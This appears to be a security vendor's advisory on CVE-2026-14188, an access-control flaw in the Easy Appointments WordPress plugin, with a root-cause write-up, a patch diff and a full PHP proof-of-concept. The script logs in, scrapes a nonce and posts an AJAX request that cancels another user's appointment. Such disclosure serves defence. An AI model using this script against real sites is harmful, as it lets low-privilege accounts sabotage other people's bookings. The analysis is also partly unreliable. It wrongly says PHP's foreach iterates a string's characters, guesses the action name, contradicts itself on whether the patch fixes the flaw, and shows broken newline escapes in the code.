Published : August 7, 2026

CVE-2026-14188: Easy Appointments <= 3.12.26 Authenticated (Contributor+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 3.12.26
Patched Version 3.12.27
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14188: The Easy Appointments WordPress plugin, version 3.12.26 and earlier, contains an Insecure Direct Object Reference vulnerability in its AJAX handler for bulk appointment cancellation. This flaw allows an authenticated user with contributor-level access or above to cancel appointments belonging to other users, causing unauthorized modifications. The vulnerability has a CVSS score of 4.3 (medium severity) and is classified under CWE-639.

Root Cause: The vulnerable code resides in the `easy-appointments/src/ajax.php` file, within the AJAX action handler around lines 603-665. The handler retrieves the `appointments` parameter from a POST request using `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )` (line 606). This treats the input as a single string, not an array. The code then iterates over this string with a foreach loop, extracting individual characters. For each character, it calls `get_row(‘ea_appointments’, $appointment_id, ARRAY_A)` to fetch an appointment record. However, the handler performs no authorization check to verify that the current user owns the appointment. Additionally, the user-controllable `appointments` parameter allows an attacker to specify arbitrary appointment IDs. The code only checks that the appointment’s date is in the future before updating its status to ‘abandoned’ (line 615) and issuing an SQL update. This combination of missing ownership validation and unvalidated ID input constitutes the Insecure Direct Object Reference.

Exploitation: An attacker can exploit this vulnerability by sending an AJAX POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the vulnerable handler name (the specific action name is not shown in the diff, but it is present in the enclosing function). The attacker includes the `appointments` parameter with the ID of a target appointment they do not own. Because the parameter is treated as a string, the attacker can include a single character or a crafted string that encodes the target ID (e.g., the digit ‘1’ as a string, which will be processed as the appointment ID). The request must include a valid nonce if the handler enforces one, but the attacker with contributor access can obtain a nonce. The server will then fetch the target appointment, verify only that its date is in the future, and update its status to ‘abandoned’, effectively canceling it. This action can be performed repeatedly on multiple appointments by sending multiple requests.

Patch Analysis: The patch, introduced in version 3.12.27, changes the handling of the `appointments` parameter to properly process an array. Specifically, the line `$appointments = sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )` is replaced with `$response = false; $appointments = isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : [];`. This change assumes that the `appointments` parameter is an array and applies `absint` to each element, converting them to integers and filtering out non-numeric values. While this change prevents the string-based iteration trick and ensures IDs are integers, it does not add authorization checks. However, the patch also changes the appointment status from ‘abandoned’ to ‘canceled’. The change from string to array handling likely breaks the previous attack vector because the attacker would need to send an actual array, and the code would still process arbitrary IDs without ownership checks. The primary fix is likely the array handling, which prevents the trivial character-by-character iteration, but the lack of explicit authorization check remains a concern.

Impact: Successful exploitation allows an authenticated user with contributor-level access to cancel appointments belonging to other users. This can disrupt a booking service by canceling appointments for customers, leading to loss of trust and potential business impact. The attacker cannot read or modify appointment data beyond changing the status, and the impact is limited to availability and integrity of appointment records. The CVSS score of 4.3 reflects the medium severity due to the need for authentication and the limited scope of the action.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
             wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
         }

-
-        $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+        $response = false;
+        $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
         $current_datetime = current_time('mysql');
         foreach ($appointments as $appointment_id) {
             $appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
             if ($appointment) {
                 if (strtotime($appointment['date']) > strtotime($current_datetime)) {
                     $data = [
-                        'status' => 'abandoned',
+                        'status' => 'canceled',
                         'id' => $appointment_id
                     ];
                     foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
                 WHERE id = %d
             ";
             // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-            $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+            $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
         }
         if ($response === false) {
             $this->send_err_json_result('{"err":true}');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14188 - Easy Appointments <= 3.12.26 - Authenticated (Contributor+) Insecure Direct Object Reference

// Usage: php poc.php [target_base_url] [username] [password] [appointment_id]
// Example: php poc.php http://example.com/wordpress/ admin password 123

$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';
$username = isset($argv[2]) ? $argv[2] : 'contributor';
$password = isset($argv[3]) ? $argv[3] : 'password';
$appointment_id = isset($argv[4]) ? (int)$argv[4] : 1;

// Step 1: Login to get authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'wp-admin') === false) {
    echo "Login failed. Check credentials.n";
    exit(1);
}
echo "Login successful.n";

// Step 2: Get a valid nonce from an admin page (assuming contributor can access dashboard)
$admin_url = $target_url . '/wp-admin/admin.php?page=ea-settings';
$ch = curl_init($admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
    // If no nonce found, attempt to use an empty nonce or skip nonce requirement
    $nonce = '';
    echo "Nonce not found, attempting without.n";
} else {
    $nonce = $matches[1];
    echo "Nonce obtained: $noncen";
}

// Step 3: Send vulnerable AJAX request
// The vulnerable action is likely 'ea_cancel_appointments' or similar, but the exact name is not in the diff.
// We'll use a generic action name based on the function context.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'ea_cancel_appointments', // You may need to adjust this action name
    'appointments' => (string)$appointment_id, // Sending as string to trigger the bug
    '_wpnonce' => $nonce
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
if (strpos($response, 'err') === false) {
    echo "Appointment $appointment_id may have been canceled.n";
} else {
    echo "Request failed. Check action name and nonce.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.